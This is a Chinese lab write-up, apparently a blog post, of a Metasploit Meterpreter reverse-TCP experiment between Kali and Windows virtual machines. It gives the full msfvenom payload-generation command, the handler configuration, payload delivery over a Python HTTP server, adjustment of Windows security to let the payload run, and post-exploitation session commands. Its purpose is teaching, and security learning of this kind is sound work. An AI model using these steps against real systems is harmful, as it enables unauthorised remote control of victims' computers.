Metasploit Meterpreter 反向连接实验:从 Payload 到会话建立的完整实践记录

简介: 本文详细记录了在隔离虚拟环境中,使用Metasploit完成Meterpreter反向连接的完整实践:从msfvenom生成payload、Kali配置handler监听,到Windows靶机执行并主动回连,最终建立meterpreter会话。涵盖网络连通性测试、防火墙配置、安全软件拦截应对及基础会话操作,强调合法学习与实验规范。(239字)

Metasploit Meterpreter 反向连接实验:从 Payload 到会话建立的完整实践记录

实验声明:本文所有操作均在本人搭建的隔离虚拟机实验环境中进行,仅用于网络安全学习与技术研究。请勿将本文中的 Payload、监听器或相关操作用于未经授权的主机。


一、实验概述

这次实验主要学习 Metasploit Framework 中 Payload、Handler、Reverse TCP、Meterpreter Session 之间的关系,并在两台虚拟机之间完成一次完整的 Meterpreter 反向连接实验。

本次实验并不是直接使用漏洞攻击目标,而是手动生成一个 Payload,然后让 Windows 实验机主动连接 Kali 上的 Handler。

整个实验流程可以概括为:

Kali
  │
  │ ① 生成 Payload
  ▼
test.exe
  │
  │ ② 放入 Windows 实验机
  ▼
Windows
  │
  │ ③ 执行 Payload
  │
  │ ④ 主动连接 Kali:4444
  ▼
Kali Handler
  │
  │ ⑤ 接收连接
  ▼
Meterpreter Session
  │
  ▼
meterpreter >

二、实验环境

本次实验使用两台虚拟机,并让它们处于同一个实验网络中。

主机 系统 IP 地址 作用
Kali Linux Kali Linux 192.168.142.128 Metasploit / Handler
Windows Windows 10 22H2 192.168.142.131 实验靶机

最终的通信方向为:

Windows 192.168.142.131
        │
        │ TCP 4444
        ▼
Kali 192.168.142.128

需要特别注意:

这里使用的是 反向连接(Reverse TCP),因此连接的发起方是 Windows,而监听方是 Kali。


三、实验前网络连通性测试

在正式开始 Metasploit 操作之前,首先需要确认两台虚拟机之间能够正常通信。

3.1 Kali Ping Windows

在 Kali 中执行:

ping -c 4 192.168.142.131

实验开始时,Kali 一开始无法 Ping 通 Windows。

后来检查 Windows 防火墙,发现 Windows 的:

文件和打印机共享(回显请求 - ICMPv4-In)

入站规则没有开启。

开启相应的 ICMPv4 入站规则后,再次执行:

ping -c 4 192.168.142.131

得到:

4 packets transmitted, 4 received, 0% packet loss

说明两台机器之间的 ICMP 通信已经正常。
在这里插入图片描述

【图片 2:Windows 防火墙中启用 ICMPv4 入站规则】
在这里插入图片描述

【图片 3:Kali Ping Windows 成功的终端截图】


四、测试 TCP 4444 端口

Ping 成功只能说明 ICMP 通信正常,并不能证明 TCP 端口也可以正常连接。

因此继续测试 Windows → Kali 的 TCP/4444。

首先在 Kali 上使用 nc 临时监听 4444:

nc -lvnp 4444

然后在 Windows PowerShell 中执行:

Test-NetConnection 192.168.142.128 -Port 4444

结果:

TcpTestSucceeded : True

说明:

Windows
192.168.142.131
      │
      │ TCP/4444
      ▼
Kali
192.168.142.128

这条 TCP 通信链路已经打通。
在这里插入图片描述

【图片 4:Kali 使用 nc 监听 4444】
在这里插入图片描述

【图片 5:Windows Test-NetConnection 测试成功】


五、启动 Metasploit Handler

确认网络正常以后,开始使用 Metasploit。

首先进入:

msfconsole

然后选择 Handler 模块:

use exploit/multi/handler

Handler 可以理解为一个“接收器”。

它的职责不是主动去扫描 Windows,而是:

等待已经生成好的 Payload 主动连接回来。


5.1 设置 Payload 类型

执行:

set payload windows/meterpreter/reverse_tcp

这一行可以拆开理解:

windows

表示目标平台为 Windows。

meterpreter

表示建立连接后使用 Meterpreter。

reverse_tcp

表示目标通过 TCP 主动连接回 Kali。

因此:

windows/meterpreter/reverse_tcp

可以理解为:

Windows 平台上的 Meterpreter TCP 反向连接 Payload。


5.2 设置监听地址

执行:

set LHOST 192.168.142.128

这里的 LHOST 可以理解为 Local Host。

即:

Kali 自己的 IP 地址。

本实验中 Kali 的 IP 是:

192.168.142.128

5.3 设置监听端口

执行:

set LPORT 4444

这里的 LPORT 可以理解为:

Local Port

即:

Kali 等待连接的端口。

因此当前配置可以理解为:

监听地址:192.168.142.128
监听端口:4444

5.4 启动 Handler

执行:

run

如果配置正确,可以看到:

[*] Started reverse TCP handler on 192.168.142.128:4444

看到这条消息,说明 Handler 已经启动。

此时可以把 Kali 想象成:

192.168.142.128:4444
        │
        ▼
   等待 Windows

在这里插入图片描述

【图片 6:Metasploit Handler 启动成功】


六、使用 msfvenom 生成 Payload

Handler 启动以后,还需要生成一个与 Handler 相匹配的 Payload。

本实验使用 msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.142.128 \
LPORT=4444 \
-f exe \
-o ~/test.exe

参数解释如下。

-p

指定 Payload。

-p windows/meterpreter/reverse_tcp

表示使用 Windows Meterpreter Reverse TCP Payload。

LHOST

LHOST=192.168.142.128

表示 Windows 运行这个 Payload 后,需要连接的 Kali 地址。

LPORT

LPORT=4444

表示需要连接 Kali 的 4444 端口。

-f exe

指定输出格式为 Windows EXE。

-o ~/test.exe

指定输出文件:

/home/kali/test.exe

生成完成后,可以检查:

ls -lh ~/test.exe

本次实验得到:

-rw-rw-r-- 1 kali kali 7.0K ... /home/kali/test.exe

说明 Payload 已经成功生成。
在这里插入图片描述

【图片 7:msfvenom 生成 Payload 的终端截图】
在这里插入图片描述

【图片 8:ls -lh 查看 test.exe】


七、将 Payload 传输到 Windows 实验机

为了方便实验,本次使用 Python 自带的 HTTP 服务临时提供文件下载。

在 Kali 新开一个终端:

cd ~
python3 -m http.server 8000 --bind 0.0.0.0

成功后会出现:

Serving HTTP on 0.0.0.0 port 8000 ...

然后在 Windows 浏览器中访问:

http://192.168.142.128:8000

即可看到 Kali 当前目录中的文件。

本次实验中下载:

test.exe

在这里插入图片描述

【图片 9:Windows 浏览器下载test.exe 的截图】


八、Windows 安全中心拦截问题

在下载 Payload 的过程中,Windows 安全中心检测到了该文件并进行了拦截。

这是预期现象。

因为:

windows/meterpreter/reverse_tcp

本身就是典型的远程控制型 Payload,现代杀毒软件通常会对此类文件进行检测。

这也让我认识到:

Payload 能够生成,并不意味着 Payload 一定能够直接在目标系统上执行。

真正的实验环境中还会受到:

  • Windows Defender
  • 防火墙
  • 终端安全软件
  • 网络策略

等因素影响。

本次实验使用的是专门准备的隔离 Windows 虚拟机,因此在实验环境内进行相应的安全策略调整后继续测试。

实际环境中不应为了运行未经授权的 Payload 而关闭安全防护。


九、成功建立 Meterpreter 会话

处理完实验环境中的安全拦截问题之后,在 Windows 实验机上运行:

test.exe

随后回到 Kali 的 Metasploit Handler。

如果一切正常,会看到类似:

[*] Sending stage ...
[*] Meterpreter session 1 opened

最终进入:

meterpreter >

这意味着:

Windows 已经主动连接到 Kali,Metasploit 成功接收了连接,并建立了第 1 个 Meterpreter 会话。

整个过程如下:

Windows
192.168.142.131
       │
       │ 运行 test.exe
       ▼
Payload 启动
       │
       │ TCP 192.168.142.128:4444
       ▼
Kali Handler
       │
       ▼
Meterpreter Session 1
       │
       ▼
meterpreter >

在这里插入图片描述

【图片 10:Meterpreter session 1 opened,出现 meterpreter > 提示符】


十、使用 sysinfo 查看目标系统

成功进入 Meterpreter 后,首先进行了系统信息查看:

sysinfo

实验结果:

Computer        : DESKTOP-3943OKD
OS              : Windows 10 22H2+ (10.0 Build 19045)
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

可以从中获取到:

  • 主机名
  • Windows 版本
  • 系统架构
  • 系统语言
  • 域信息
  • 当前登录用户数量
  • Meterpreter 架构

这里还出现了一个值得注意的信息:

OS Architecture : x64
Meterpreter     : x86/windows

也就是说:

Windows 本身是 64 位,但本次运行的是 32 位 Meterpreter。

它仍然能够正常建立会话。
在这里插入图片描述

【图片 12:sysinfo 输出截图】


十一、使用 getuid 查看当前用户

继续执行:

getuid

得到:

Server username: DESKTOP-3943OKD\admin

说明当前 Meterpreter 会话对应的是:

DESKTOP-3943OKD\admin

这个命令非常适合在实验中确认:

“当前会话究竟处于哪个 Windows 用户上下文中?”
在这里插入图片描述

【图片 13:getuid 输出截图】


十二、Meterpreter Shell 与 Windows CMD 的区别

Meterpreter 并不是普通的 Windows CMD。

当前界面:

meterpreter >

是 Meterpreter 自己的交互环境。

例如:

sysinfo
getuid
sessions
background

属于 Meterpreter 相关命令。

如果输入:

shell

则可以进入 Windows 命令解释器。

例如:

meterpreter > shell

之后可能出现:

C:\Users\admin>

这时已经进入 Windows Shell。

例如执行:

whoami

查看当前 Windows 用户。

还可以:

ipconfig

查看网络配置。

执行:

exit

则可以退出 Windows Shell,返回:

meterpreter >

因此两者可以简单理解为:

meterpreter >
        │
        │ shell
        ▼
C:\Users\admin>
        │
        │ exit
        ▼
meterpreter >

在这里插入图片描述

【图片 14:Meterpreter Shell 与 Windows CMD 切换过程】


十三、在目标实验机创建 TXT 文件

为了进一步验证当前会话是否能够执行 Windows 命令,在 Windows Shell 中创建一个测试文本文件。

进入 Shell:

shell

然后执行:

echo Hello Meterpreter > test.txt

检查文件:

dir test.txt

读取文件:

type test.txt

应该可以看到:

Hello Meterpreter

这说明当前实验会话可以正常执行 Windows Shell 命令。

最后:

exit

返回:

meterpreter >

在这里插入图片描述

【图片 15:创建 test.txt,dir 和 type 查看 test.txt】


十四、Meterpreter 会话的后台管理

除了直接操作会话之外,还可以暂时把 Meterpreter 会话放到后台。

在:

meterpreter >

输入:

background

即可返回 Metasploit 主界面。

然后执行:

sessions -l

可以查看当前建立的会话。

例如:

Id  Type                     Information
1   meterpreter x86/windows  DESKTOP-3943OKD\admin

如果需要重新进入第 1 个会话:

sessions -i 1

即可重新进入:

meterpreter >

这个机制在多个实验会话同时存在时非常有用。

【图片 17:sessions -l 查看会话】


十五、这次实验最重要的几个概念

通过这次实验,我对之前比较模糊的几个概念有了更加直观的理解。

1. Payload

Payload 可以理解为:

真正负责建立后续通信和会话功能的代码。

本次实验使用:

windows/meterpreter/reverse_tcp

2. Handler

Handler 可以理解为:

等待并接收 Payload 连接的监听端。

本次 Handler:

192.168.142.128:4444

3. Reverse TCP

Reverse 的意思不是:

Kali → Windows

而是:

Windows → Kali

也就是:

目标主动连接控制端。


4. LHOST

LHOST

可以理解为:

Local Host,本机地址。

本实验中:

192.168.142.128

也就是 Kali。


5. LPORT

LPORT

可以理解为:

Local Port,本机监听端口。

本实验中:

4444

6. Meterpreter Session

当看到:

meterpreter >

就说明:

Payload 已经成功连接 Handler,并建立了一个 Meterpreter 会话。


十六、一次完整实验命令回顾

为了方便以后复习,把这次实验最核心的命令整理如下。

1. 检查网络

Kali:

ping -c 4 192.168.142.131

Windows:

Test-NetConnection 192.168.142.128 -Port 4444

2. 启动 Metasploit Handler

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.142.128
set LPORT 4444
run

3. 生成 Payload

msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.142.128 \
LPORT=4444 \
-f exe \
-o ~/test.exe

4. 启动临时 HTTP 文件服务器

cd ~
python3 -m http.server 8000 --bind 0.0.0.0

Windows 浏览器:

http://192.168.142.128:8000

5. Meterpreter 基础操作

sysinfo
getuid
pwd
ls
shell
background
sessions -l
sessions -i 1

6. Windows Shell 基础操作

whoami
ipconfig
dir
type
echo Hello Meterpreter > test.txt
exit

十七、整个实验流程总结

把整个实验压缩成一张图,就是:

┌──────────────────────────────┐
│          Kali                │
│      192.168.142.128         │
│                              │
│  ① msfvenom                  │
│       ↓                      │
│    test.exe                  │
│                              │
│  ② Handler                   │
│    192.168.142.128:4444      │
└──────────────┬───────────────┘
               │
               │ TCP Reverse Connection
               │
               ▼
┌──────────────────────────────┐
│         Windows              │
│      192.168.142.131         │
│                              │
│  ③ 运行 test.exe             │
│       ↓                      │
│  ④ 主动连接 Kali             │
└──────────────┬───────────────┘
               │
               ▼
┌──────────────────────────────┐
│     Meterpreter Session      │
│                              │
│       meterpreter >          │
└──────────────────────────────┘

十八、实验中遇到的问题及解决过程

这次实验并不是一次性完成的,中间也遇到了几个比较典型的问题。

问题 1:Kali 无法 Ping Windows

原因:

Windows 防火墙没有允许 ICMPv4 Echo Request。

解决:

启用:

文件和打印机共享(回显请求 - ICMPv4-In)

之后重新 Ping 成功。


问题 2:PowerShell 命令输入错误

最开始把:

Test-NetConnection

输入成了:

Test-Connection

并且出现过把 -Port 写错、IP 地址中误加入空格等情况。

最终正确命令:

Test-NetConnection 192.168.142.128 -Port 4444

问题 3:HTTP 文件服务器端口搞错

启动的是:

8000

测试时却输入了:

8080

因此:

TcpTestSucceeded : False

后来改成:

Test-NetConnection 192.168.142.128 -Port 8000

问题解决。

这也说明:

排查网络问题的时候,一定要确认 IP、协议和端口是否一致。


问题 4:Windows 安全中心拦截 Payload

原因:

现代 Windows 安全软件会重点检测 Meterpreter 等远程控制型 Payload。

解决思路:

在专门隔离的实验虚拟机环境中进行实验,并合理配置测试环境的安全策略。

这个过程也让我认识到:

“Payload 能不能生成”和“Payload 能不能执行”是两个不同的问题。


十九、这次实验的收获

通过本次实验,我第一次把之前只在教程中看到的几个概念真正串联了起来:

Payload
   ↓
Handler
   ↓
Reverse TCP
   ↓
Session
   ↓
Meterpreter

过去只知道:

windows/meterpreter/reverse_tcp

是一种 Payload,但并不理解它具体是怎么工作的。

经过这次实验,可以更加直观地理解:

1. Kali 生成 Payload
2. Kali 启动 Handler
3. Windows 执行 Payload
4. Windows 主动连接 Kali
5. Handler 接收连接
6. 建立 Meterpreter Session
7. 进入 meterpreter >

同时也实际学习到了:

网络连通性测试
↓
TCP 端口测试
↓
Metasploit Handler
↓
Payload 生成
↓
Meterpreter Session
↓
Windows Shell

这些知识也为以后学习:

  • 漏洞利用
  • 反向 Shell
  • C2 基础
  • Metasploit Framework
  • 渗透测试基础流程

打下了基础。


二十、后续学习计划

完成这次实验之后,我准备继续学习以下内容:

Meterpreter 基础
      ↓
Session 管理
      ↓
Payload 类型
      ↓
Staged / Stageless Payload
      ↓
Metasploit Exploit 模块
      ↓
漏洞利用与 Payload 组合
      ↓
不同网络环境下的反向连接
      ↓
Windows 权限与安全机制

在后续学习中,会继续坚持在自己的虚拟机和合法靶场中进行实验。


二十一、结语

这次实验最大的收获并不是记住几条 Metasploit 命令,而是终于理解了 “反向连接到底是怎么建立起来的”。

一句话概括:

Kali 负责等待,Windows 负责主动连接;Payload 负责建立连接,Handler 负责接收连接,最终形成 Meterpreter Session。

当最终看到:

meterpreter >

的时候,也意味着整个链路:

Payload
→ TCP 连接
→ Handler
→ Session
→ Meterpreter

已经真正跑通。

对于刚开始学习 Metasploit 的人来说,我认为先把这一套基础通信机制理解清楚,比一开始背大量模块和命令更加重要。


实验声明

本文仅用于网络安全技术学习与授权实验环境测试。

实验所使用的 Kali 与 Windows 均为本人搭建的虚拟机,实验网络为独立测试环境。未经授权对第三方计算机生成、投递或执行 Payload,可能造成严重安全问题并涉及法律责任。

相关文章
|
8天前
|
人工智能 JSON API
全网刷屏的 Jev 模型正式开放!一手实战测评 + 保姆级教程
全网爆火的 Jev 模型是什么?有什么用?怎么使用?怎么接入 AI 编程工具?效果真的好么?傻子可懂的 Jev 保姆级实战教程 + 项目实战测评来啦
7363 12
|
6天前
|
人工智能 测试技术 API
最近全网爆火的 Jev 到底是什么?适合干什么、怎么用,一篇讲透!
Jev是TypeSafe AI推出的“系统一模型”,不生成文本,专做毫秒级结构化决策:Choice(多选)、Score(打分)、Noul(是非概率)。响应快193倍、成本低444倍,适合工单路由、内容审核、测试定级等高频判断场景。
1543 4
最近全网爆火的 Jev 到底是什么?适合干什么、怎么用,一篇讲透!
|
7天前
|
人工智能 并行计算 PyTorch
秋叶 ComfyUI 2026 整合包 v3.2 完整部署教程:Python 3.13 + Torch 2.13 全栈升级
秋叶aaaki ComfyUI 2026年8月整合包v3.2正式发布!全面升级Python 3.13.11、PyTorch 2.13.0+cu130及ComfyUI v0.30.2,原生支持MiniMax H3、Wan 2.2、Qwen-Image-2.1等2026主流音视频/图像模型,解压即用,无需环境配置。
991 8
|
3天前
|
人工智能 JavaScript 芯片
DeepSeek 官方偷偷上传 Harness 桌面端安装包,我已经用上了。。附最新下载地址
DeepSeek Harness 官方的桌面端安装包被网友扒出来了,2 分钟讲明白如何使用,体验如何,适合作为 AI 编程工具么?附最新 Windows 和 Mac 双端的下载地址
1178 1
|
20天前
|
人工智能 自然语言处理 安全
阿里云千问办公 QwenWork详细介绍:产品核心能力、典型场景、价格及常见问题解答
千问办公是阿里云推出的一站式AI办公平台,主打"不止于对话,更注重交付",依托通义千问旗舰大模型,用户一句话即可完成数据分析、PPT生成、视频剪辑等复杂任务,直接输出可用成果。产品深度打通钉钉生态与企业OA,覆盖桌面端、网页端,提供企业标准版198元/人/月等多档订阅方案,新用户注册即赠2000积分,适配工程师、HR、财务等多职业办公场景,成为能动手干活的"全能AI同事"。
3570 10
|
14天前
|
缓存 IDE Java
【保姆级】Android Studio下载、安装和汉化教程(2026最新)
Android Studio 是 Google 官方推出的免费 Android 应用开发集成环境,基于 IntelliJ IDEA,内置模拟器、调试器、性能分析及 Compose 界面工具,功能全面,文档丰富,是安卓开发首选工具。(239字)
1601 1
|
4天前
|
编解码 缓存 PyTorch
16G 显卡能跑 Qwen-Image 2.1 吗?
9月20日,阿里Qwen开源Qwen-Image-2.1:7B DiT图像模型+8B文本编码器+VAE,单模型支持文生图与图像编辑,原生输出2K PNG(含Alpha通道),支持10张参考图。在自建Qwen-Image-Bench达60.28分(开源模型第一),GenAI Showdown文生图排名7/15。16G显存可跑1024×1024(需INT8量化+ComfyUI优化),但2K需24G以上。注意其Qwen Research License限非商业用途。
501 1
|
5天前
|
人工智能 编解码 并行计算
MiniMax-H3 一键整合包技术文档:8G 显存运行 AI 漫剧制作 —— 角色替换 / 动作迁移 / 文图生视频部署与调参指南
MiniMax H3 是 MiniMax 开源的全模态视频生成模型,支持文/图/音/视多条件输入,输出最高2K、15秒带双声道音频视频。本文档详述其Int8量化版在8GB显存下的本地一键部署、三段式工作流(EDIT/REPLACE/CONTINUE)、参数调优及常见问题排查。(239字)

热门文章

最新文章